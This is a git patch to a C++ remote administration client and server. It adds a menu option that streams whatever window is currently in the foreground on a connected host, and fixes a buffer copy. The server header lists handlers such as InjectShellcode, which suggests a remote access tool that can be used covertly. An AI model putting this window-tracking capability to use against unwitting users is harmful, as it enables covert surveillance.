From 2765d959504ac06d7283381dc457c5d78ca9baee Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Mon, 15 Jun 2026 16:14:01 +0200 Subject: [PATCH] Feat: Support viewing active window via online-host popup menu --- client/ScreenCapture.h | 3 +- client/ScreenManager.cpp | 48 +++++++++++++----- client/ScreenManager.h | 3 +- client/ScreenSpy.cpp | 34 ++++++++++++- client/ScreenSpy.h | 5 +- server/2015Remote/2015Remote.rc | Bin 157532 -> 157832 bytes server/2015Remote/2015RemoteDlg.cpp | 29 +++++++++++ server/2015Remote/2015RemoteDlg.h | 4 +- server/2015Remote/2015Remote_vs2015.vcxproj | 2 +- .../2015Remote_vs2015.vcxproj.filters | 2 +- server/2015Remote/SystemDlg.cpp | 4 +- server/2015Remote/res/Bitmap/ActiveWnd.bmp | Bin 0 -> 822 bytes server/2015Remote/resource.h | 8 ++- 13 files changed, 118 insertions(+), 24 deletions(-) create mode 100644 server/2015Remote/res/Bitmap/ActiveWnd.bmp diff --git a/client/ScreenCapture.h b/client/ScreenCapture.h index 6ba92a1..149f844 100644 --- a/client/ScreenCapture.h +++ b/client/ScreenCapture.h @@ -170,7 +170,8 @@ public: // 感兴趣区域 (ROI) RECT m_ROI = {0,0,0,0}; - bool m_bNeedRestart = false; // 捕获对象需要重建(如窗口尺寸变化) + bool m_bNeedRestart = false; // 捕获对象需要重建(如窗口尺寸变化) + HWND m_NextTargetWnd = NULL; // 重建时应切换的目标窗口(NULL=保持原 HWND) int m_nScaleSendWidth = 0; int m_nScaleSendHeight = 0; diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index 712678a..89e2a21 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -471,11 +471,18 @@ void CScreenManager::InitScreenSpy() DXGI = param->buffer[0]; algo = param->length > 1 ? param->buffer[1] : algo; all = param->length > 2 ? param->buffer[2] : all; - // buffer[3..10]: HWND(uint64_t),启动时直接指定窗口捕获 - if (param->length >= 3 + (int)sizeof(uint64_t) && !m_hTargetWnd) { + // buffer[3..10]: HWND(uint64_t),启动时直接指定窗口捕获; + // 值为 (uint64_t)-1 时进入动态前景模式,每帧自动跟踪当前前景窗口 + if (param->length >= 3 + (int)sizeof(uint64_t) && !m_hTargetWnd && !m_bDynamicForeground) { uint64_t hwnd64 = 0; memcpy(&hwnd64, param->buffer + 3, sizeof(uint64_t)); - if (hwnd64) m_hTargetWnd = (HWND)(UINT_PTR)hwnd64; + if (hwnd64 == (uint64_t)-1) { + m_bDynamicForeground = true; + m_hTargetWnd = GetForegroundWindow(); + Mprintf("CScreenManager: 动态前景窗口模式,初始 HWND=%p\n", m_hTargetWnd); + } else if (hwnd64) { + m_hTargetWnd = (HWND)(UINT_PTR)hwnd64; + } } } m_pUserParam = param; @@ -488,7 +495,7 @@ void CScreenManager::InitScreenSpy() algo = m_QualityProfiles[level].algorithm; } // 窗口捕获必须走 GDI(PrintWindow),ScreenCapturerDXGI 无窗口捕获能力 - if (m_hTargetWnd && DXGI == USING_DXGI) { + if ((m_hTargetWnd || m_bDynamicForeground) && DXGI == USING_DXGI) { DXGI = USING_GDI; Mprintf("CScreenManager: 窗口捕获模式,强制 GDI\n"); } @@ -542,12 +549,12 @@ void CScreenManager::InitScreenSpy() } else { SAFE_DELETE(s); m_isGDI = TRUE; - m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen, m_hTargetWnd); + m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen, m_hTargetWnd, m_bDynamicForeground); Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n"); } } else { m_isGDI = TRUE; - m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen, m_hTargetWnd); + m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen, m_hTargetWnd, m_bDynamicForeground); } } @@ -651,10 +658,14 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) if (!This->IsConnected() && This->m_bIsWorking) This->OnReconnect(); if (!This->IsConnected()) continue; if (!This->m_SendFirst && This->IsConnected()) { - This->m_SendFirst = TRUE; - This->SendBitMapInfo(); - Sleep(50); - This->SendFirstScreen(); + // 窗口捕获模式下目标窗口最小化时跳过首帧,等窗口恢复后再发 + HWND _targetWnd = This->m_ScreenSpyObject ? This->m_ScreenSpyObject->GetTargetWindow() : NULL; + if (!_targetWnd || !IsIconic(_targetWnd)) { + This->m_SendFirst = TRUE; + This->SendBitMapInfo(); + Sleep(50); + This->SendFirstScreen(); + } } // 降低桌面检查频率,避免频繁的DC重置导致闪屏 if (This->IsRunAsService() && !This->m_virtual) { @@ -711,6 +722,10 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) } // 窗口捕获:尺寸变化时在工作线程内原地重建,无需跨线程同步 if (This->m_ScreenSpyObject && This->m_ScreenSpyObject->m_bNeedRestart) { + // 动态前景模式切换了新窗口:把新 HWND 同步回 CScreenManager, + // 否则 InitScreenSpy 会沿用旧 HWND,导致无限重建循环 + if (This->m_ScreenSpyObject->m_NextTargetWnd) + This->m_hTargetWnd = This->m_ScreenSpyObject->m_NextTargetWnd; SAFE_DELETE(This->m_ScreenSpyObject); This->InitScreenSpy(); This->m_SendFirst = FALSE; // 触发重发 BitmapInfo + 首帧 @@ -852,7 +867,10 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) // [mode:1][data] — mode=0x00 按标题, mode=0x01 按 HWND(uint64_t), 其余=恢复全屏 BYTE mode = (ulLength > 1) ? szBuffer[1] : 0xFF; if (mode == 0x00 && ulLength > 2) { - const char* title = (const char*)(szBuffer + 2); + char title[512] = {}; + int titleLen = ulLength - 2; + if (titleLen > (int)sizeof(title) - 1) titleLen = (int)sizeof(title) - 1; + memcpy(title, szBuffer + 2, titleLen); m_hTargetWnd = title[0] ? FindWindowA(NULL, title) : NULL; Mprintf("[CScreenManager] 窗口捕获(标题): '%s' -> HWND=%p\n", title, m_hTargetWnd); } else if (mode == 0x01 && ulLength >= 2 + sizeof(uint64_t)) { @@ -862,6 +880,11 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) Mprintf("[CScreenManager] 窗口捕获(HWND): 0x%llx -> HWND=%p\n", val, m_hTargetWnd); } else { m_hTargetWnd = NULL; + m_bDynamicForeground = false; + // 防止 RestartScreen→InitScreenSpy 重新读取旧 HWND 再次进入窗口模式 + if (m_pUserParam && m_pUserParam->length >= 3 + (int)sizeof(uint64_t)) { + memset(m_pUserParam->buffer + 3, 0, sizeof(uint64_t)); + } Mprintf("[CScreenManager] 窗口捕获取消,恢复全屏\n"); } RestartScreen(); @@ -2087,7 +2110,8 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength) if (m_ScreenSpyObject) { HWND hwndTarget = m_ScreenSpyObject->GetTargetWindow(); if (hwndTarget && IsWindow(hwndTarget) && !IsIconic(hwndTarget)) { - SetForegroundWindow(hwndTarget); + if (!SetForegroundWindow(hwndTarget)) + return; // UIPI 等原因置前失败,不向错误窗口注入输入 } } diff --git a/client/ScreenManager.h b/client/ScreenManager.h index 4cd0ec7..1cca8ec 100644 --- a/client/ScreenManager.h +++ b/client/ScreenManager.h @@ -64,7 +64,8 @@ public: BOOL m_bIsWorking; BOOL m_bIsBlockInput; RECT m_ROI = {0}; - HWND m_hTargetWnd = NULL; // 窗口捕获目标(NULL=全屏) + HWND m_hTargetWnd = NULL; // 窗口捕获目标(NULL=全屏) + bool m_bDynamicForeground = false; // true=每帧自动跟踪前景窗口(HWND sentinel=-1触发) BOOL m_SwitchScreen = TRUE; BOOL SendClientClipboard(BOOL fast); VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength); diff --git a/client/ScreenSpy.cpp b/client/ScreenSpy.cpp index b40f237..178865d 100644 --- a/client/ScreenSpy.cpp +++ b/client/ScreenSpy.cpp @@ -13,10 +13,11 @@ ////////////////////////////////////////////////////////////////////// CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all, int level, - RECT rc, BOOL switchScreen, HWND hwnd) : + RECT rc, BOOL switchScreen, HWND hwnd, bool dynamicFg) : ScreenCapture(ulbiBitCount, algo, all, level, rc, switchScreen) { m_hTargetWnd = hwnd; + m_bDynamicForeground = dynamicFg; m_GOP = gop; // 窗口捕获模式:用 DWM 真实边界覆盖基类的全屏尺寸,并缓存阴影偏移量 @@ -160,7 +161,36 @@ LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength) VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight) { - if (m_hTargetWnd) { + if (m_hTargetWnd || m_bDynamicForeground) { + // 动态前景模式:每帧查询当前前景窗口,切换时尺寸不变则直接复用,尺寸变化则触发重建 + if (m_bDynamicForeground) { + HWND fg = GetForegroundWindow(); + if (fg && fg != m_hTargetWnd) { + RECT wndRc = {}, frameRc = {}; + GetWindowRect(fg, &wndRc); + frameRc = wndRc; + DwmGetWindowAttribute(fg, DWMWA_EXTENDED_FRAME_BOUNDS, &frameRc, sizeof(frameRc)); + ULONG newW = (ULONG)(frameRc.right - frameRc.left); + ULONG newH = (ULONG)(frameRc.bottom - frameRc.top); + if (newW != m_ulFullWidth || newH != m_ulFullHeight) { + // 尺寸不同:触发重建,同时把新 HWND 写入 m_NextTargetWnd, + // 让 WorkThread 在重建前同步更新 CScreenManager::m_hTargetWnd + m_NextTargetWnd = fg; + m_bNeedRestart = true; + return; + } + // 尺寸相同:直接切换,更新阴影偏移和缓存,无需重建 + m_ShadowLeft = frameRc.left - wndRc.left; + m_ShadowTop = frameRc.top - wndRc.top; + m_CachedWndW = wndRc.right - wndRc.left; + m_CachedWndH = wndRc.bottom - wndRc.top; + m_PendingWndW = m_PendingWndH = 0; + m_hTargetWnd = fg; + Mprintf("CScreenSpy: 前景切换(同尺寸) -> HWND=%p\n", fg); + } + if (!m_hTargetWnd) return; // 当前无前景窗口,冻结上一帧 + } + // 最小化:不绘制,hdcDest 保留上一帧内容(远程端看到冻结画面) if (IsIconic(m_hTargetWnd)) return; diff --git a/client/ScreenSpy.h b/client/ScreenSpy.h index 34c85bd..6f20952 100644 --- a/client/ScreenSpy.h +++ b/client/ScreenSpy.h @@ -95,7 +95,8 @@ protected: BOOL m_bVirtualPaint;// 是否虚拟绘制 EnumHwndsPrintData m_data; - HWND m_hTargetWnd = NULL; // 窗口捕获目标(NULL=全屏) + HWND m_hTargetWnd = NULL; // 窗口捕获目标(NULL=全屏) + bool m_bDynamicForeground = false; // true=每帧跟踪前景窗口(由 sentinel=-1 触发) int m_ShadowLeft = 0; // DWM 阴影左偏移(frameRc.left - fullRc.left),帧间缓存 int m_ShadowTop = 0; // DWM 阴影上偏移(frameRc.top - fullRc.top),帧间缓存 int m_CachedWndW = 0; // 上帧 GetWindowRect 宽度,用于检测 resize 无需每帧调 DWM @@ -106,7 +107,7 @@ protected: public: CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE, - int level = LEVEL_H264_SOFT, RECT rc = {0}, BOOL switchScreen = TRUE, HWND hwnd = NULL); + int level = LEVEL_H264_SOFT, RECT rc = {0}, BOOL switchScreen = TRUE, HWND hwnd = NULL, bool dynamicFg = false); virtual HWND GetTargetWindow() const override { return m_hTargetWnd; } diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index aeef14d4d28a14126b9e7feb1b3d7d3e7389d28a..79b49c8a10c9d05ae2ebaab5d85a52a72d4d0497 100644 GIT binary patch delta 114 zcmca}jGetClientID(); + uint64_t sentinel = (uint64_t)-1; + memcpy(arg, &clientID, sizeof(uint64_t)); + memcpy(arg + sizeof(uint64_t), &sentinel, sizeof(uint64_t)); + if (!PostMessageA(WM_OPEN_WINDOW_SCREEN, (WPARAM)arg, 0)) { + delete[] arg; + } +} + LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam) { char* ip = (char*)wParam; @@ -11338,3 +11357,13 @@ void CMy2015RemoteDlg::OnCopyClientInfo() } CloseClipboard(); } + +void CMy2015RemoteDlg::OnOnlineActiveWnd() +{ + POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); + if (!Pos) return; + int iItem = m_CList_Online.GetNextSelectedItem(Pos); + auto ctx = GetContextByListIndex(iItem); + if (!ctx) return; + PostCaptureForegroundWindow(ctx); +} diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index fa2f589..5a2e071 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -381,7 +381,7 @@ public: bool IsDllRequestLimited(const std::string& ip); void RecordDllRequest(const std::string& ip); CMenu m_MainMenu; - CBitmap m_bmOnline[59]; // 21 original + 4 context menu + 2 tray menu + 26 main menu + 3 new menu icons + 1 snapshot + 1 copy + CBitmap m_bmOnline[60]; uint64_t m_superID; std::map m_RemoteWnds; FileTransformCmd m_CmdList; @@ -511,6 +511,7 @@ public: afx_msg LRESULT InjectShellcode(WPARAM wParam, LPARAM lParam); afx_msg LRESULT AntiBlackScreen(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OpenWindowScreen(WPARAM wParam, LPARAM lParam); + void PostCaptureForegroundWindow(context* ctx); // 向客户端发送"动态前景窗口捕获"命令 afx_msg LRESULT ShareClient(WPARAM wParam, LPARAM lParam); LRESULT assignFunction(WPARAM wParam, LPARAM lParam, BOOL all); afx_msg LRESULT AssignClient(WPARAM wParam, LPARAM lParam); @@ -633,4 +634,5 @@ public: afx_msg LRESULT OnSplitterMoved(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnSplitterReleased(WPARAM wParam, LPARAM lParam); afx_msg void OnCopyClientInfo(); + afx_msg void OnOnlineActiveWnd(); }; diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 17f4291..42911d4 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -498,13 +498,13 @@ + - diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index 55577ef..8518f4a 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -323,8 +323,8 @@ - + \ No newline at end of file diff --git a/server/2015Remote/SystemDlg.cpp b/server/2015Remote/SystemDlg.cpp index c32373c..18d5612 100644 --- a/server/2015Remote/SystemDlg.cpp +++ b/server/2015Remote/SystemDlg.cpp @@ -662,5 +662,7 @@ void CSystemDlg::OnWlistView() memcpy(arg + sizeof(uint64_t), &hwnd64, sizeof(uint64_t)); ASSERT(m_pParent); - m_pParent->PostMessageA(WM_OPEN_WINDOW_SCREEN, (WPARAM)arg, 0); + if (!m_pParent || !m_pParent->PostMessageA(WM_OPEN_WINDOW_SCREEN, (WPARAM)arg, 0)) { + delete[] arg; + } } diff --git a/server/2015Remote/res/Bitmap/ActiveWnd.bmp b/server/2015Remote/res/Bitmap/ActiveWnd.bmp new file mode 100644 index 0000000000000000000000000000000000000000..47da47357ea6cb352a4f434cf7bf2ca14adb6c60 GIT binary patch literal 822 zcmZ?rHDhJ~12Z700mK4O%*Y@C7H0s;3v)v-M1Xi literal 0 HcmV?d00001 diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 97e81df..8e73ae7 100644 --- a/server/2015Remote/resource.h +++ b/server/2015Remote/resource.h @@ -267,6 +267,8 @@ #define IDB_BITMAP_UNCOMPRESS 387 #define IDB_BITMAP9 388 #define IDB_BITMAP_COPY 389 +#define IDB_BITMAP10 390 +#define IDB_BITMAP_ACTIVE_WND 390 #define IDC_MESSAGE 1000 #define IDC_ONLINE 1001 #define IDC_STATIC_TIPS 1002 @@ -1002,14 +1004,16 @@ #define ID_COPY_CLIENT_INFO 33063 #define ID_WLIST_33064 33064 #define ID_WLIST_VIEW 33065 +#define ID_ONLINE_33066 33066 +#define ID_ONLINE_ACTIVE_WND 33067 #define ID_EXIT_FULLSCREEN 40001 // Next default values for new objects // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 389 -#define _APS_NEXT_COMMAND_VALUE 33066 +#define _APS_NEXT_RESOURCE_VALUE 391 +#define _APS_NEXT_COMMAND_VALUE 33068 #define _APS_NEXT_CONTROL_VALUE 2542 #define _APS_NEXT_SYMED_VALUE 105 #endif